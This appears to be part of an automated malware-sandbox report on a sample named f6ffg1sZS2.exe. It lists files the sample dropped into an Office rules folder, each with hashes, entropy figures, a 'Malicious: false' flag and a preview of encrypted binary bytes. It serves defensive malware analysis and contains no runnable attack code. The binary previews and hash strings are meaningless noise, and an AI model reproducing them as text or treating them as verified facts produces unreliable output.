Preview:	.<?..e...."..'=.W^.1.%..8...`.....o..qNM%9.../.....91.......wV..3.s^.0Sa....D.....IO...My...Mc......<.;-7...X.PA.Yo.s.N?....u#../...vo..+.3...h.ce......+.9\-.n.B8.j.g..]r...&.#.I.hZ.5.....$F..m.{.E&F..w.w.h...eK.I...=w...&t.di..[a...'%.............,..r..o.{@.......t..!.g....<...$........P.=....-.?.X..._Vyz..H<..b....z\...."cvj...........\|..V...g4...ZE...=...3.l..G..SjQ...).'..b..a....}]W:..n......>..Og..?.0.......a...o.,.2..E .$..DA.I.^......}.....j..[.W.s.f..j.[k...b......d..x.u..vnr....W.N.....z.yWm...].;..Y.\.t'..4.Z-'..C....u.z.....t.>!FK...[..,%M...W.....1...7.&......G...A-...Z..........qJb..:.=..1S..c....Zd...;...\..N..w.XH.A...d.."./..\|!..u._Q..G=.....Q........L.X.".Y.U.9..h.bg..pO..S`..(..K..i.M..ON.t._..\4."..&.T.Kv..r..Y....Q...-...R..2...?..vn...!.(.....U._.......)..R...4.(.O)....F\H..*. 5G.m...=......C......61+.......9S...9...icG.PlZAt4.\n9$Y....P..~.3O.Z.<.v.=$VJ)..b=1...y.k}^.D.b..R.......}...)......\..5[r+.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703300v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.880873811937175
Encrypted:	false
SSDEEP:	48:rKYPQGSgXCMgjtBsxzGcsO560k4a13lPD:GgSdMgjrsx6cH560+13lb
MD5:	B2A7A48E692FBFA805AFD3444EB17738
SHA1:	0AE181FDCE9F69624CFAF1C2C320D860017A805A
SHA-256:	2258D41631BEB434046E1D6AD4DC4EAE577BEB427624001831025FC7CAA8C638
SHA-512:	CDB1D41EBF452C5D101F0D238779133ECDCA14671EE29C302D80AE5F526C3617DB7614251F237DE132BC097A98BB9F35F7D8F89CC6E2BF312C1B6102B7F6EF40
Malicious:	false
Preview:	.<?]..ee.......n....^...$c...C.P.\|.10..3D..}.H......E...6.`.....K.kv}...^u..E.2.X/.:.q.wkK 0.`P.Yk6C+..1M......J.;....)....<!.B....!X..d.&.....S'....U.M.H.....O/...._%J..D.....8..M.#.W........}......V.F...3].a.7.&_.....@...........n9fD~..z......Z....p....u...$..E...6..t....E`.....K,.[x...:......M+W.Q<9.c.Q.[.N...'......9..tm..)K..p=..{C./."9R9.\.T.".k.@.{0ZcF..<P-\...Y....W....?......v;D..x..r.s...b..Hsmei.ce..UhF.]\t...1.../0q.U;5.C....+I...o...7B.gO1..y.W.\.....+.5....&..b...}A...ks...6+...nE./.-....].=.}OZ...D...D..=L.._.p..6.%.i.I:....wc..u..x!......7. ..B.c>..g...-]..O.i.....:5.P...^.....-s.y...V.`C..d.!.On...d"2..;...............y.~B.......T....Y.]_.X..,.i+......Jm.&...b.$......2.<....?.Y.D......CJ.."Y...&......{.h.....a..1`.^..3..0@..3.\..hm..V3.;..v.....G<"CsF.]aV.....?l.... 0.....01H...W.kx.Z..z....m.*.t.h.l.c..Ao...E.E......EL.....w.....R....;V.M.:../.1.h8.D8Y>...4 .1....x.s..$d5..6.....k..Y...8....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703301v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.88699248985848
Encrypted:	false
SSDEEP:	48:j7QOFRqH1JwVjA4VjV8HdaLxOu/WubW/q2cfWYQWIp2D:j7J4wGC6A1Ou+A/Ipu
MD5:	9A2F03C26CCCE895E758FC473B192AF7
SHA1:	3105E35486B8B6F1C3819ED591F772949AAD3698
SHA-256:	D3AC35921E3DF4C7F6B05F96C638C1AF6FF7A35A38BFEC5B3B6C14D10A9EB326
SHA-512:	36BF6609FF6D724050BDC0DA3DB6E6F9A59BDD8D5DE63609B3E3E0027988462A75CCAACB1BBA2648789EFBF8FA26608D13FF9AD143A3B49BE94C7CC1CEFB1914
Malicious:	false
Preview:	.<?.u..(d ~...PE..C?.).r..V@.P[O.Q....].s..U....B..J..Sd!......>P..GMfg.6..p.-S..u.[...(ru.....V...H....r.}YF.MOF7.s.A..6r.d./_.2..[,.5.O$..J.#.q4....IB...`.:.bg]m.{k..\|.l...q....f..H?....&... .5....Z........S.m.SU.O.4^7...p.......@...2.$4.f..0..`k;.W.l.....-..>.6S,\|....~......$.F..t..x]NR..2./.e.`I."..x...A...X..)....H..%.......p'\|..}.2...=....L.......a3.X.4{......$L..y....7Wi...y..1&....y..\..E.v......E.DDv.{....y...?.T....8%!...}.1..[..Q......Ni....)..#=..2a}...p.).f..[....j..~..b..Q.JLN^.......s8..Md..Lu...S.r...J...\|...."..e\y.,....b..../,.g.y;@52D1..7.......sOUKKAJ..PzV..V.z2..L;.2..$..>....<.=.'....q^t..B......d..@..........R...w`.~.....d....zj[....ww......JY}....'.9....p............j.s1.......8(.....^dMa.N..u.k..~/.A..kn.Y....B1.b}...X`.....$\.:4.p@..2A...."...Kc..\}!+......!.EF...J....(...\..,.k....T.R,.W.59.I/jX..c.h...=.V..M.....Y.q...D..?.S....._.tf.E.'..N..7xu..q. @..Se...'..x....z..JgK...eJ'$>...k....E....(x}.b.a.z...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703350v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.881279367237644
Encrypted:	false
SSDEEP:	48:+bvnERuFlTBRUtM2YuQO+zqWW/PohtpKDNl5Y1LD:R4FEM5u4WXXU/KD75Yh
MD5:	9654404E0C3C144D22E20CFDCE2369FF
SHA1:	851CB9C1364C00408AFCFFE02D68BCF36CAE4CA0
SHA-256:	6E880D5C9482466C6C909BCF113848E910B859A4D2E9B8D8AC871EDDA768B9AF
SHA-512:	6C911792C0FA681DA400D941A9DD62D901A05CA465FE16FC30DA28FCA300F8FCB1339775B0C13B580146659F4B70595E4CBEEBAB731AB7726B8A3603BD01B2E2
Malicious:	false
Preview:	.<?H9;x#y....^..n....(..J......'#.F.C\9j5.3.Vp..e.\.......}#........s....z6..Z.6J.....^.N.1n.^...;.."..S.f.....oOM./......E..GA.[2v=..P.ie........<.x..X$.].+.3..bo..N0....SK.C......).hx....sB.;.g.;.>.B........3....W..P>.;.A~.. n6.o.......n......4....7k!.]A=G3A#....r\|.=9r.A..0..Gk.P..}.....Pa....[?...?...b27.V...;..........5.l........\..*..<BP...3..Y 7.....F).2......Y.G7_....QI..,4e......9....V.r....G...f....,rYj...V.......0O...d.....).W..#.xE......B..q.?W#.8....#....Q.{.K}0..L.........c.4E.....n.Eqw..I..^..1.s...x..b.....#.7JPx.....p.K...}..x.a.W..Ph.P.k.....L4.....tB......{.../M...X....=..-(. .z..D.0"...G.ZaB.${"s..R}<p......U]......#...v..b...c.3.cH..S..u.2x......@.,7..(..4.E...#...h..H...(.;..[.K.....yc-.C.....K.&..Pz...}...c...S.].d..B..LaF.2>.'\|.l...I..%...H.}....~..O<...v.G...f.).....+........j.Bxv."...\.j....IB....`..L.#gF...aA....K..k.....v.d.@.......:....2k.v_/g..s..W..W....=.<d3.8..'m......6.0........t..pG.X.iy.w.#..g.f.!...}l

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703351v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.872945427505765
Encrypted:	false
SSDEEP:	24:+FHinyNIcJ5QKR59EWFT9T2LuETo3+XAycV7xq1JJoNXp5SbK/R9U9hT90qbSEVL:+kCBJ5tz9pT1fzycR8s5Sw9lqbSESSD
MD5:	59F8C0782AE59C4A3F056406AC6307C3
SHA1:	4B4C609D24D6CD1B96BF5340C773AF6859D2358F
SHA-256:	35DEEED91FFC6EF79840FE8082C636F69A1974A3664222AED40CCB3CE604C3CD
SHA-512:	284AD7DC72AC692C48AE5EE7DF960F81592F2D54EFC996D053C55B33E2A2AF986BFB1A7B330039F2822A8842AC8925EA97FF67250B9BB3EE19A8AD3D70DA4F0F
Malicious:	false
Preview:	.<?..w....Q.A..e.!0.L.q.........y7...3.C&.......XP.(......8U7Z......s.<..b.H.j/q.V...P..."N.. ..w.hG..q.v...T...=.k.\!.....f.......v.....q...4%7......N.:B'....b.......AF...d4.,...D..%..f7..........F+.."Jl.e.....d.n...9..M....M.#.%"....D?Z....w.T..M:a)tOc...nIR.&H.n.D..XP1..{......h..>%X.S\|T.-fS..E...%.q...-..G...B.^.......y.Zu\|.Y....<.j.......2g..4U=..2.....=/o...c>.B.wfQRwzZ0..}.R"GJ......;.^.V.q.....u..&..0.!.JZ.F.........M...~..C.....!i)su..03...I~.J..P]....D.z~.:s..}.bpK.r...$..=.Zfz!8.4.T.}$.....h.2..]J.ZR..cbTz.I.T...G54C..qb~....)..}6..x&.../.$.....y..2....O...V..=...?..A(H'......B.J.d.._...*.Uxw.v..q?.....}9.C."b1u'.a.(fC..L..6<.?...... ...>2A.E.+.....%p...kC...6?..y+.>c..=.....[.[..J8K.7...On.....NU.X.I.i~....R..UE.....1.E".{..g0..._.pI..4../....u......v...OS...B..GhF...v....+.v..C?... ..=^.{.t.l54.....0....sa......9.8.}<./.... .(...X....T....K..Z.).v......J....2>\..CFs5Z{..$r"......Q.....v..ZT.S.E.~...,..........S...........2.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703400v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.867227832376694
Encrypted:	false
SSDEEP:	48:VKlkSnEbMuf7fjsy/8m9vPCzJRUlHwiXBC4Xm99E+iSD:VKlkBMuTfjzRmR+RXBl+t
MD5:	5DE99BC272F76B02F71E97AFB0F7EA1E
SHA1:	91E48265E3EAEC910674F752B857DD5AC2DAB975
SHA-256:	44EC7C6E04CBC37A14059FE09E5CE8FAE65C9C62DB76B6F59EAC715D1A135E7E
SHA-512:	52A4582B4F9BE4994D95ACC6093E640CE4A475653C7777257967038F062E9B139D1348D71FC3F23D0C672A69C19956668CACE0CB57DA046D8E045FBC5993D1D2
Malicious:	false
Preview:	.<?_P...Q.....c.F....sZ..5....@T.da.@......3..^.d..'.-j.....I5f..a..N...mu.j!D.b..,.@..w8.........nJ..{dx...:....".6.v=..&. y..U.!..-F...SOoD{...L...^..tK..r..&..1F...vm..?..f.^DC....G..D.h.G.8.{H...D...4z..te.^......7.Sn.8.1..b.}R..9..Xr.m..H.~J..qT.cu'.1.....ha? .@.......k..1.^.......N8..w.....pA.z.7..!$h.S.,...?.4..N..s..V..A.....8%s../......\|1S.h...V...:..PB<=....A...vb.Je8f...>...Sb.3....V_B.`.?Hmcw"....n...a......v....;..............',... \|...A.K.{.>..7.....d.{F4.z.....'.`....P....4.Cc6......:.a....;.Zr..IM..$.%.H.....]8.9.Q`).Mz2._.k..2...W..).y.{....Q.........7Q..U.....;.......-C..X._o.....X...P\1....wl-.$.Baz.,...c......Q.......%v...l...C*..x_......(...r...:..\&.]....H...... .{_3C.S..'..A2.)l...... l^.C4.]."90.E...}.m...6."....3y.v...g.2.Oo....m;...a......H..t@.~..d.D.?...,..XQ@...R.......p.\...i.J...k..Z.`-....}#Ds.b;.....M6.. .-.............C...;e.$.......?~..(=....v.m3F..nBv....7q..U.....M.].p....6...)m"...>...P...VS....w...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703401v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1759
Entropy (8bit):	7.889077019588598
Encrypted:	false
SSDEEP:	48:gm5mhzpepK0TfeKZZ7n9rBhwhRy0uDAI73aAD:NBcKv91hwS73h
MD5:	52B0561CB4DB74AF5498D7DBBF3A2D2F
SHA1:	0D289D4253456FA78539595DC1247D8E98E8D118
SHA-256:	19994A9BAD90991E5FBA94F1BD0643987186451A6C1F3A1180F69075AABE3D3E
SHA-512:	F548CD95A1D715E72543055F01686D026B3EACEF4FE7BD3CF8F1857C9820BD8AF7501E5F08784F4A8312626E2170EE43E25B5D0FA0F54D08F9B61AA036133A3D
Malicious:	false
Preview:	.<?X..6.w_x....an...k#..\.;..ac.8...l..^.s.qE?.m.....0G.j.1&.`...".%..(......gP....J.Tjt..F$6c.ws\|`=.K...../...s...EJ.v....../.j.2.R...'.Y...q{.a.....n...D.....".]u..E...{i.&.m...u.Ja..........x..{dny^..=..^l.L.N'..@-.+..t..>...9..M.KmM.....\.'.j.<....[.dm...B.N:.32..q..=..ILT..V..]....J07z...e.....Kv....vg3.x86w=.v.v>..c?....R.N...%Xk....#.......F...T^..S.I..f......}..>....SQ..E\...v<5j7an.l..r..(w../{...5.Q..H.Z6.0..'.........;.....t.,.t...A.hD..?.O..P.t.,.Lx.5.(.w.Yn..V....+)..K...2H..g.[...1...'....E..d...hu..}.z.r..../.`.3k.....%..$..d.......!....J.....PR....X.?.Gl.dJ#..7.Z.....q#....-.u..J.eT.)......t...&e.>.Or/.CS,...xt....Z..T8.(.Z..~.....7.....~.Ad%...l.<.Q...f..%..x...g..?y..,g;S"r.B.j..y_..(a...q....d......C..6i......i.F_+..i...`.we.G.......5.!.Gf...F.'i.-%v.3q..~S.1.H.....%....G\|dI_v.vF.4.K.{.........~K&\B.p...ro...X...i...D..i`J....mH..l.>...B....M/.......g.Z.%..I.P..5..G.G.........L.gUi4.H{.-.w..#+.y<....\...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703450v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.8802748167494485
Encrypted:	false
SSDEEP:	48:bznyq9FzH7nMSGydQ4Oe5dq5v9UygyPH+FOqD:bznB9hHlGyB7u598x
MD5:	74FA6CF78E27670FAB3F97988E434856
SHA1:	B7E2279C3AE9B7CC1AFFB5D894EF0B7C3ACD700C
SHA-256:	817CE45D15AAFAA66C03F31D78704FDACA0CB58A12CB3618683225EC1502326A
SHA-512:	D19435BD09689EFEB6B828B4938DD1A3ECC5C145DF4DAD28D0673B58C0B313FF6E859D3DDFA9CA9EA135F76BC802A271775D692215BA1DDD1BBCD86A60B7E1C1
Malicious:	false
Preview:	.<?.P....?.c3d.j.\|.m.2...L.....TlZ).. .N.K.0..4....t....=Rw.x...,.r.....f.C.M.....@.5..2..0.5q.....q..B...V..}..U.6..]....'.[.S.r[....b!mQ.\.5&...L!..^..b.@.>..`.c........b...B.7..a.63+vJd..N.%@.{..Zln.E.t..(..r05.S9YA,m#.@...z.Z]..!i...i.`0.....]...z.....A.C..2...D..k.J}?..N....Nr1.w..p..U).....m.......OO.....P(9^.#,..G..,E.....VG.. T..m%x~.I26..T?.JEa....N...3R=.....T... ...4...4vCu^.<.vy...L....Ei....G....V..4.#..C.#lE...;d.....K.+}?......j.S...n&....;.......~...]>.b.#.T.&.Z9...=.*.?.4o.W.....4..p..rq..iS.........H...L.:RQ........c.-.F.j...\.5.;.0..Us'...u..^d.9X..0.K.K...N.}.....b....Q.....m...;.eD.+.R.fJK..[Y..No2_@....%.....9...Z.#.:;7ia.y.n.V..Y.=.... ..!r.....{.cc....A./F....9.m]....Xl.-u+....z?..[.m.Py.J..S.c...U..a....>.8K.Z...&..IN4..S..xX5 .?u.D........H.X....>.....&..S.(..0..l..FL.....j..r.....9.I.~Y......qf.....L.V.n..O..{..F@..i9.&..cb...u@.%R.s...+.Y./ .....0...\|...7.\..x..,.+N..Y..Z...>I.~..I......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703451v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.869177170114495
Encrypted:	false
SSDEEP:	48:V+fSxRM5kJv7i1SH9Bz2tnOoSWaAvBs4saUmqjIWVjD:wfYM6v20Hz2BO5AOdjIWB
MD5:	891952F5C4B290F426E718A76C4C5A1F
SHA1:	1A739D9BE819C64BF0CD57DFEFACF64775677F60
SHA-256:	9647DA1A42B0102D8A305EB7AA97D1DB9B8F5E80D815D0BA616F52FAF8D90DE8
SHA-512:	8FB443B67527600CAD1312882C527ED04F9AD7F2E980365B4D5DD92F862607E604FD7B35A041BDBCCE03520FE573F14D543D23E89B8599E74ED94734942C665D
Malicious:	false
Preview:	.<?0....'...R......V.x}...?.s.0'....nY`._....T....6.0. ....)M=y.q..p&q{1).g.;ty.%..$9..F..d......`...re.a...~.6..XK........:.P...I.BHK.n.w.L..)....1b...];....^.MSLro<.....,?0.X.q...P`l....g.]....0G......y..a)....)..........;.J5.....7..0.meH.3Zv..Z..I&...'7..d..:j"...;....4.S{..\|e0..Lx...&G.f....S..+...=..n5..z.....0.../1". ..8.m...Ym...ne=....)=......0Ntj....<xj.Lk....5..K..7@..x...<..%+..,49.{...~.X!Vq.2.hG.......t.....JIx...:.s\..8(.=........&.nG..C.L1.z......c..fzd.$S....:..g=......=...+..:..[Y.._.O.......E.bS..M....O.@...............g.Y/../.z....lu...oD.es..\...p.x..{..dp...o..n....4J}...r.0.....x.._<.=..?l..F.T..6=....._iQ.W(u7.F..0`..).E....?..@...p.WuQ{.%M.Ga.}.YX.....>..... ..i.....3`.....l5k....eg.'....4..r........S....s.....\.2U.."..z...?..X.I.5.._...HJ....T[2.....3.'f.. ..5^G......h.,.G..bc..Z.....r.;e.c.m.k.f...?.....-.....LAC......>l=....g..&...A....Px....E..F.u.T..."Vn....y&.bF[..vN..a.y.Pw..Tb6W.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703500v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.880364420932024
Encrypted:	false
SSDEEP:	48:GMldKL+KFm5dpnHdMmW89IDLKcPwZM8UD:dlgnEH5Hd4MMPmM8A
MD5:	A0FA54C1CC20CBDA4304CC7211CEB007
SHA1:	BE047343418C84F5434B7A6C3735EC93BAB4C1CF
SHA-256:	0FAF44857ECF603E9FC4BE6C619F7220261707EF3C32C19063FDB8475CA8F609
SHA-512:	B3FD365AF98F154AF0441550B29613DBEB53DF9772C2EDCB7072F3E0543182988729FB7648D9A16974C57C5682589EE6B5AD0FD15E24C570D40D13D99E094E5A
Malicious:	false
Preview:	.<?].A.}5.m.-O]f..j....l..c).......20.xw.3..>..9..p.t%6ti!.5W... 2.._n..r.f!.YI.WI....+>..\....j....h.....?Y...\|aS.9ue~7..........v4.h....v.F.........4..[]...I..<J...\.K.F..7..C.<.y..yx[o... .\H.D.AY.uQ.n.I.!.}t.y.9....)K..t...p>.nV.t...5...X....~.}...7..j..E"(.Z0.........t.O.;....-..6$..>!..B"..%.._..W......."\....=..g...G0....;...\|P?......`S.C...;......:..)....5.....=o..~.$.....:\|.E.T....6...\..).-EL......u..Rx......h..B....6N...F' ..]..D..PQ....,.I.Av...MT[G%EN.=.W..Dh..`.)q;..qU.C.&....q.7.!..../Q6.....niB93>.....V..j..r..gv..GZ...c].....U...a$.{..../.h..V%....!@d.........u.#.C.....e.+]....._..m$.9.i.b..."...l..j..v.w. ......O..ww3...t.'...W=..z.t......R......Lf...Z..3.Q,M2.....[......K=...J*.<..N... ..~...;.N...:......Q..t.0.u;.k.\4....5..ZF_\..H....L.p.{..p..`<A.C8r...E.sn...U.?.`.Q.....6...&.....r.4.lC..b...X....O8...y..!.R.i..3....c.#-P.UC...5........j...&..6..J.o...[.m... ...7H..B..\....}..RF.n9...I.R9W3...FcA.q.<FWn`.y.@SOf...H.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.882059468170453
Encrypted:	false
SSDEEP:	48:ofIyKQo00sNiXeW89Aq6puBy68FUcB/qVkCIPpD:oO0NiXsAq6YBf8FNSVPIPB
MD5:	D17C5F48C781C71C643F03DD401CAFEA
SHA1:	EF202F4CE9804BEAAE3C0AAD23D83AF63F2CEA8B
SHA-256:	DB8DE72D3285FF034018AD84033599CC5FFF1CA678667B6A1CCEDE17DCC5DAEB
SHA-512:	099E77D3B48555D5EEC9DB523CD74A42AB8799F44FC714D107EB83DBD76530FF90AFE1D73A0A36ABB2035919057A7329720ED41462CE9B3FACA381C0C1AC206C
Malicious:	false
Preview:	.<?..d..,..&.dg[...E.._.........D.c.P.x..-\|.1....xN.]...&bL..?.r..}>w.#..N.T[K-\...!.T. ..e...^..>...Z{....m........E.3U^...s..8...}... .,....H.Mj..s..V.a..;&wT.Lf..y.I....;......J.j2.?...;.y......#.y.L.z...........2...Mx.a.^[.@..?ET-4.......H..%U.i.&....K...V...m.....v...Oc9LT..A...;.J=....u{...~`BM.I.g..J.........?.YEV..$se.4......8gfq.wK.5.m..-.XDl....r...(."A....Wb..x........N{...;.k...F..E.ke...5....v..e@..<}.B.5W..P.......BM..W.&..&.)!...?f.m..v.Im..9.zm.Z...if..l..R.Z.Z...=.%Mh........+....<.D...TR`..?J...r.%z.Hl.z;.../.d.y..=.....C.....]Q...hW.6.X.&..#.RX.>......6.Q/..AT....%.].y........D;.C./t...iDe..............Ut..=...Z..W...0U.._.....R\|.. ........c.d.u~...^^x..A..3..<=.{..nO....1~.......^...v.f)..$...r@Q..........T^@....0..o.......d...T...N...z....p3....6...H.Nx.P.ye.......D.......c..A...v...rV0.l.....5....Dm.....5._(!9.".O....z..u.L'.k..oK.N.....#l...9t..,....fT..d....z.3.{HTG[.........2>\2(G.*D..j...M..a......5..~.>:..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.877593497940288
Encrypted:	false
SSDEEP:	24:cG7S0FSm6Mkwp3a1/wR+qAJoVbzlhpxqANJ4wYDEazUf2/0f/PVPgyQQdlPS9UZv:cE6MjRVAylTqANdYDbYf2/4/dP1FjD
MD5:	1365DA8BA00487FB7F39A893142CD09C
SHA1:	98AAF1D4C569D741231166C40CBD72EA05EF3FA7
SHA-256:	7DC1AFB05BB4B6862CC4495040A49316C5B3FBFED8700259B9FD607351BA3479
SHA-512:	9D2438075A9DCC13DB72F35E9EC658F970E991FC23EAD345FBE8E18E9599AE9981C6E4F45998B6F9CFC949BDFFD131C51B4098EBF12B39CBC13ACA3BACBAE91F
Malicious:	false
Preview:	.<?`......U...."P.YB..%.B.2.3......N?..6.,..k.x{...j.4.;.<Eo.&q^g....d.dE.Im.m.e.@....4.y..~.1HW3...8H...y....{U..Ol~q..d.b.u..W!z.j>Rv.y'J.k....[E.f......+e.Q^..`...c.a....]\.....}.......Q.h6............{..-..&I...'g.}..2v....{.....L)..z..$.Lb.$.gz9...-]..0..V.>].,_.'D.4...s!G..P.5^..7}8h...1.._.QH.m$......<yX..P.;d;.xS.m...../.jR.r.AjVom/.....=..........R.eX8?.,9...S.....^...cMH.u7.....3.u....CV.......E...T....].........$...e.-qH.M.....F7D>.......O.t...nP>...%.n6.D0.......4.P.O ..e.....h...s..`.<..}..k1s..\..$.....2._..M.F#.:.t..Du.J.+-.w........n.}....%cpZ[4..c.`e.....5.0\|......s..h...RN.j9,.j.Be6x.......E.D........w.Zo..}g..o.`.x.:z!.(.6N..@m6....`.sVt...vB=..j....@u......WI...x.fE.3*..lZ,.!b.......t..f!..<G.......C.....tYv..o3....J.%;...F.u...mp..y.U.ZrwlqHV..\|QR..,.fk......p...0...bs...J....-.?FqR..... .....O..]..&.s.,....S.C. 5...c..Ij..h...i.....^.%..y...e.``.....g.WHEhc...V?Wc...ykw.`1@ .....m..i...w.... .).Y.(....k.I...M]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.889302255845077
Encrypted:	false
SSDEEP:	48:CM6tAVpb00iKgxP3cSG5ATkKVAlDpCKLD:b6topb0cirtVAlDr
MD5:	2F1C752BBAAC80BA00C7751671A29D46
SHA1:	BA918B6569EF4E741A04706022608C75D2B666FF
SHA-256:	4ECC31DDAD7426DD588025A9CE9996D7C9C6CDAAA386E17073833AC786555080
SHA-512:	3792DADDE98B524CEB731C02510D04C74A9C8931E7FC44F49BEA439F170ED0F8546E9BC718D7F0854522D18E56F9DBE872BB0C44A8F18C52F7023ABAFBA09A72
Malicious:	false
Preview:	.<?..%....oe..@......j.Y.[.3..>S3...f...w...BB..b.....Rj`L.(.u }....}I1.?.5..A.Ka....LB.AN.`....J.0.............9.2....c..7..V.x.FFWw....H.....??B'.Pa..D..jG..k..q.f\.....b..1....;.....'.<mmi..xHIp..z...+.....8....-.~x.p.vv.^..G.8...>.C...&....v...g>.,(k.S.....e._...1./..6....;4.GA.j.`7r..X.".-w..L..@ ......ncv.....#...^i.U.....p_.8m......C..]%).3......E..$k...#..y....p.{.3n.#t..#.U..n....A.......9.4.`...W...\|.\|..p.z4o....&..8...vj.a."7..d..m..S&\..nT...n.I.G.+.g".5.H+..%.t.M.A.."5.\|..w.y..<$}._\...<...[./+.uRv..n.HV..;...9.......5..wWD......._-.#.. .D._:PV..B2...1.u.c.Y..W....i(.b....#p-..g.B.V.{(61Z.{.lP`.....L.b.........di...m.......GO-.G'......X.(..9.8Q.Q.Gp...."U.0............"pq...W.+...D.%...;............tM...UJ"Y..........e...=&y...}..<2Z..'.......[.am'........'...^c."Z..b.a.rC"..U&...........<K...K._.2,...w... .O...o.8..7.MC...&.M...M!..*Ggc....at.?.......\....$..P..e..].P....7.o.\|<.I..9.5...7....?_....6.......e....Ck=..PF

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703600v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.879917895568541
Encrypted:	false
SSDEEP:	48:KtSUpZ0kGEie7jF9phlFpmSeBDVFmiYlz+UD:tUPhxn7zphHYfD7ClzP
MD5:	50971C8551DFE70AC86A5E65FC7FD654
SHA1:	4DCB9326173EA43688FD3C68A281B8CFEB19E83D
SHA-256:	DBCBEC4AE78C50AA01B48B765F8E7DAACAD22EBC19D82CD5D9E2DB4F762E4AF9
SHA-512:	9BC617A75DE14E3A774027D0DFDE67A8D4D514E26250B708337DAF0525A72C8A06DB6187B11EC2F3AEF649D2B8899ACFB4AF8152BE711603CC5D6A5C0F0CE4B7
Malicious:	false
Preview:	.<?.q.@...M.@..MaC.1./V...#.._h.....BP...C......(H0..N..b~.JQD...+..U.dT.\|\|.......=........../.>/(#oC..k.%....l....\|...WXq.[q9XS@K/..iZ....C$....(...0..vO.xW...Gc.D)..>.U..."....1W9'+.&.[...m.R"B.?..uV....2.I...A.....>.mg...kn=.LB...I..w..]...".@..}..O(...A......B7.p....w..Gd..Nf...7...t.....1....\R.S..K_`6..bn.8......b<.=.E^...H>...X.c1.4+Tr....H..9...M.^.'.4,....}.....>.o....9....j.3_. Df{?..j....?.....I..X.+.5.M.>(.a.b...H....I..b...... &H...M...%...Q..T}.pTp.!.X.a.<3.......1.iV.....V..aol.p...Cn_<..A.1C......b.y.....l(.'..~..yx.....!........1....m..."....b'h..^.1.v.;.....co......![...jY..x..>.......'S$.D..X...Sp.N....I.rv..j......%.....+E%.7)}..[S.F.p....D.=../...:..gP]..^.=.kY..J..,N...E.!C..P'f .6...........S...V....r.D.s..,L.U8c.!...V...p..*...jub.-.P.\..+.ocy>....9m.1.3.v.2b..8..[.x .K+.T..6.8KI........q.p..l..Z.B.j.....8.. ...D..H..C=_.[.ms......K...b~.5.W?..8>..sA}b...A8.7.%4..Qf7.X........uZ..8M..q...TE.HY..[..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703601v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1729
Entropy (8bit):	7.888854097238907
Encrypted:	false
SSDEEP:	24:rSOiTXXrqPlKGQq4BBMyWFmNZqtfFvILjWBMZ0rHQhW3SI2/u2Z2e6Dlf82/6zSX:r7MGQUFmNot+jdZ08WCIe6DlazAD
MD5:	C50048208954673B38326AE1DC6311AC
SHA1:	C26872418244605F0B390F1963FF230D54B18067
SHA-256:	15486DD76F8F2CF7DE75056C8D2697C707809DDA7FA673EBDB1280DCA6D43A8B
SHA-512:	0187C6A72D278572D37454C6219BC5E929A991C1B765C6939B9DBE08FADD084BE2CB47398D9248302F061D5222D1AC8FBC708DC1499A4C19AC7D715ED628BACB
Malicious:	false
